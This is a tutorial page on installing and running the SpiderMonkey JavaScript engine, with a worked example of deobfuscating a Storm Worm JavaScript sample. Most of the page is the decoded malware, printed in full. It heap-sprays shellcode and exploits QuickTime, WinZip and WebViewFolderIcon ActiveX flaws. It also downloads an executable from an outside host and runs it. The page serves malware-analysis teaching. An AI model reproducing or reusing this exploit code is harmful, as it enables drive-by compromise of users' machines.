SpiderMonkey
Description
SpiderMonkey is Mozilla's JavaScript engine written in C/C++. It is used in various Mozilla products, including Firefox, and is available under the MPL2.
Installation
Original version
$ cd /data/tools/ $ wget http://ftp.mozilla.org/pub/mozilla.org/js/mozjs17.0.0.tar.gz $ tar xzvf mozjs17.0.0.tar.gz $ mv mozjs17.0.0/ spidermonkey/ $ cd spidermonkey/js/src/ $ ./configure $ make
At this stage, and if the compilation successfully ended, you should be able to start SpiderMonkey as follows:
$ cd js/src/ $ ./js17
Such a prompt should appear:
js> print('hello');
hello
Modified versions
Didier Stevens
The original version does not support some functions, such as document.write:
js> document typein:1:0 ReferenceError: document is not defined
Didier Stevens has written a modified version that, among other methods, fills this gap. You can download it from here: http://www.didierstevens.com/files/software/js-1.7.0-mod.tar.gz
REMnux
REMnux has also a modified version of SpiderMonkey.
Usage
Syntax
Usage: ./js17 [options] [[script] scriptArgs*]
Options
- -f --file=PATH
- File path to run
- -e --execute=CODE
- Inline code to run
- -i --shell
- Enter prompt after running code
- -m --methodjit
- Enable the JaegerMonkey method JIT
- -n --typeinfer
- Enable type inference
- -c --compileonly
- Only compile, don':t run (syntax checking mode)
- -d --debugjit
- Enable runtime debug mode for method JIT code
- -a --always-mjit
- Do not try to run in the interpreter before method jitting.
- -D --dump-bytecode
- Dump bytecode with exec count for all scripts
- -b --print-timing
- Print sub-ms runtime for each file that's run
- -U --utf8
- C strings passed to the JSAPI are UTF-8 encoded
Example
Obfuscated code
Let's analyze an obfuscated JavaScript with SpiderMonkey. The below code is an extract of the Storm Worm:
$ cat /data/tmp/malware/storm.js
function xor_str(plain_str, xor_key){ var xored_str = "";
for (var i = 0 ; i < plain_str.length; ++i) xored_str += String.fromCharCode(xor_key ^ plain_str.charCodeAt(i));
return xored_str; } var plain_str = "\x94\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe
[SNIP]
\xd2\x94\x9c\x95\x94\xf9\xf0\x86\xf7\x9c\x9d\x94\x9d\x94\xcf\x94\xc7\xc0\xd5\xc6\xc0\xfb\xc2\xd1\xc6
\xd2\xd8\xdb\xc3\x9c\x84\x9d\x8f\x94\xc9\xbe\xbe\xc9\xbe\xbe\xc7\xc0\xd5\xc6\xc0\x9c\x9d\x8f\xbe";
var xored_str = xor_str(plain_str, 180); document.write(xored_str);
document is not defined
As you can notice, the code makes use of the document.write method, not supported by SpiderMonkey:
$ ./js17 -f /data/tmp/malware/storm.js /data/tmp/malware/storm.js:1:59515 ReferenceError: document is not defined
Bypass the limitation
Manual replacement
We can easily replace this method with print:
$ sed "s/document.write/print/g" /data/tmp/malware/storm.js | ./js17 -f - | indent
var xd =
"var x = new ActiveXObject('Mic'+'ros'+'oft.X'+'MLHTTP');x.Open('GET','http://tibeam.com/file.php',0);x.Send();var s=new ActiveXObject('ADODB.Stream');s.Mode = 3;s.Type = 1;s.Open();s.Write(x.responseBody);s.SaveToFile('../tm.exe',2); ";
ed = escape (xd);
var url =
'res://mmcndmgr.dll/prevsym12.htm#%29%3B%3C/style%3E%3Cscript%20language%3D%27jscript%27%3Ea%3Dnew%20ActiveXObject%28%27Shell.Application%27%29%3B'
+ ed +
'a.ShellExecute%28%27../tm.exe%27%29%3B%3C/script%3E%3C%21--//%7C0%7C0%7C0%7C0%7C0%7C0%7C0%7C0';
document.location = url;
var mm = new Array ();
var mem_flag = 0;
function
h ()
{
mm = mm;
setTimeout ("h()", 2000);
}
function
getb (b, bSize)
{
while (b.length * 2 < bSize)
{
b += b;
}
b = b.substring (0, bSize / 2);
return b;
}
function
cf ()
{
var zc = 0x0c0c0c0c;
var a = unescape ("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33" +
"%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb"
+
"%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7"
+
"%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96"
+
"%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85"
+
"%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa"
+
"%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf"
+
"%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc"
+
"%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba"
+
"%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec"
+
"%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c"
+
"%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4"
+
"%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%ub12a%u2db2%uefe7%u1b07"
+
"%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u742F%u6269%u6165%u2E6D%u6F63%u2F6D%u6966%u656C%u702E%u7068");
var heapBl2ckSize = 0x400000;
var pls = a.length * 2;
var bSize = heapBl2ckSize - (pls + 0x38);
var b = unescape ("%u0c0c%u0c0c");
b = getb (b, bSize);
heapBl2cks = (zc - 0x400000) / heapBl2ckSize;
for (i = 0; i < heapBl2cks; i++)
{
mm[i] = b + a;
}
mem_flag = 1;
h ();
return mm;
}
function
startWVF ()
{
for (i = 0; i < 128; i++)
{
try
{
var tar =
new ActiveXObject ('WebVi' + 'ewFol' + 'de' + 'rIc' + 'on.WebVi' +
'ewFol' + 'derI' + 'con.1');
d = 0x7ffffffe;
b = 0x0c0c0c0c tar.setSlice (d, b, b, b);
}
catch (e)
{
}
}
}
function
startWinZip (object)
{
var xh = 'A';
while (xh.length < 231)
xh += 'A';
xh += "\x0c\x0c\x0c\x0c\x0c\x0c\x0c";
object.CreateNewFolderFromName (xh);
}
function
startOverflow (num)
{
if (num == 0)
{
try
{
var qt = new ActiveXObject ('Quick' + 'Time.Qu' + 'ickTime');
if (qt)
{
var qthtml =
'<object CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="1" height="1" style="border:0px">'
+ '<param name="src" value="qt.php">' +
'<param name="autoplay" value="true">' +
'<param name="loop" value="false">' +
'<param name="controller" value="true">' + '</object>';
if (!mem_flag)
cf ();
document.getElementById ('myd' + 'iv').innerHTML = qthtml;
num = 255;
}
}
catch (e)
{
}
if (num = 255)
setTimeout ("startOverflow(1)", 2000);
else
startOverflow (1);
}
else if (num == 1)
{
try
{
var winzip = document.createElement ("object");
winzip.setAttribute ("classid",
"clsid:A09AE6" + "8F-B14D-43" + "ED-B713-BA413" +
"F034904");
var ret = winzip.CreateNewFolderFromName (unescape ("%00"));
if (ret == false)
{
if (!mem_flag)
cf ();
startWinZip (winzip);
num = 255;
}
}
catch (e)
{
}
if (num = 255)
setTimeout ("startOverflow(2)", 2000);
else
startOverflow (2);
}
else if (num == 2)
{
try
{
var tar =
new ActiveXObject ('WebVi' + 'ewFol' + 'derIc' + 'on.WebVi' +
'ewFol' + 'derI' + 'con.1');
if (tar)
{
if (!mem_flag)
cf ();
startWVF ();
}
}
catch (e)
{
}
}
}
function
GetRandString (len)
{
var chars = "abcdefghiklmnopqrstuvwxyz";
var string_length = len;
var randomstring = ;
for (var i = 0; i < string_length; i++)
{
var rnum = Math.floor (Math.random () * chars.length);
randomstring += chars.substring (rnum, rnum + 1);
}
return randomstring;
}
function
CreateObject (CLSID, name)
{
var r = null;
try
{
eval ('r = CLSID.CreateObject(name)')}
catch (e)
{
}
if (!r)
{
try
{
s = 1;
eval ('r = CLSID.CreateObject(name, "")')}
catch (e)
{
}
}
if (!r)
{
try
{
s = 1;
eval ('r = CLSID.CreateObject(name, "", "")')}
catch (e)
{
}
}
if (!r)
{
try
{
s = 1;
eval ('r = CLSID.GetObject("", name)')}
catch (e)
{
}
}
if (!r)
{
try
{
s = 1;
eval ('r = CLSID.GetObject(name, "")')}
catch (e)
{
}
}
if (!r)
{
try
{
s = 1;
eval ('r = CLSID.GetObject(name)')}
catch (e)
{
}
}
return (r);
}
function
XMLHttpDownload (xml, url)
{
try
{
xml.open ("GET", url, false);
xml.send (null);
}
catch (e)
{
return 0;
}
return xml.responseBody;
}
function
AD2BDStreamSave (o, name, data)
{
try
{
o.Type = 1;
o.Mode = 3;
o.Open ();
o.Write (data);
o.SaveToFile (name, 2);
o.Close ();
}
catch (e)
{
return 0;
}
return 1;
}
function
ShellExecute (exec, name, type)
{
if (type == 0)
{
try
{
exec.Run (name, 0);
return 1;
}
catch (e)
{
}
}
else
{
try
{
exe.ShellExecute (name);
return 1;
}
catch (e)
{
}
}
return (0);
}
function
MD2C ()
{
var t =
new Array ('{BD96C5' + '56-65A3-11' + 'D0-983A-00C04FC' + '29E30}',
'{BD96C' + '556-65A3-11' + 'D0-983A-00C0' + '4FC29E36}',
'{AB9B' + 'CEDD-EC7E-47' + 'E1-9322-D4A21' + '0617116}',
'{0006F' + '033-0000-0000-C000-000000' + '000046}',
'{0006' + 'F03A-0000-0000-C000-0000000' + '00046}',
'{6e32' + '070a-766d-4ee6-879c-dc1fa' + '91d2fc3}',
'{6414' + '512B-B978-451D-A0D8-FCFDF3' + '3E833C}',
'{7F5B' + '7F63-F06F-4331-8A26-339E03' + 'C0AE3D}',
'{0672' + '3E09-F4C2-43' + 'c8-8358-09FCD1D' + 'B0766}',
'{639F' + '725F-1B2D-48' + '31-A9FD-87484' + '7682010}',
'{BA018' + '599-1DB3-44f' + '9-83B4-46145' + '4C84BF8}',
'{D0C07' + 'D56-7C69-43F1-B4' + 'A0-25F5A1' + '1FAB19}',
'{E8C' + 'CCDDF-CA28-496b-B' + '050-6C07C962' + '476B}', null);
var v = new Array (null, null, null);
var i = 0;
var n = 0;
var ret = 0;
var urlRealExe = 'http://tibeam.com/file.php';
while (t[i] && (!v[0] || !v[1] || !v[2]))
{
var a = null;
try
{
a = document.createElement ("object");
a.setAttribute ("classid",
"clsid:" + t[i].substring (1, t[i].length - 1));
}
catch (e)
{
a = null;
}
if (a)
{
if (!v[0])
{
v[0] = CreateObject (a, "msxml2.XMLHTTP");
if (!v[0])
v[0] = CreateObject (a, "Microso" + "ft.XM" + "LHT" + "TP");
if (!v[0])
v[0] =
CreateObject (a,
"MSX" + "ML2.Se" + "rverXM" + "LHT" + "TP");
}
if (!v[1])
{
v[1] = CreateObject (a, "ADOD" + "B.Str" + "eam");
}
if (!v[2])
{
v[2] = CreateObject (a, "WSc" + "ript.Sh" + "ell");
if (!v[2])
{
v[2] =
CreateObject (a, "Shel" + "l.Ap" + "pl" + "icati" + "on");
if (v[2])
n = 1;
}
}
}
i++;
}
if (v[0] && v[1] && v[2])
{
var data = XMLHttpDownload (v[0], urlRealExe);
if (data != 0)
{
var name = "c:\\sys" + GetRandString (4) + ".exe";
if (AD2BDStreamSave (v[1], name, data) == 1)
{
if (ShellExecute (v[2], name, n) == 1)
{
ret = 1;
}
}
}
}
return ret;
}
function
start ()
{
if (!MD2C ())
{
startOverflow (0);
}
}
start ();
Define custom definitions
We can also define custom methods:
$ cat /data/tmp/def.js
document = {
write:print,
writeln:print
};
eval = function(input_string) {
print(input_string);
}
And then call SpiderMonkey as follows:
$ ./js17 -f /data/tmp/def.js -f /data/tmp/malware/storm.js
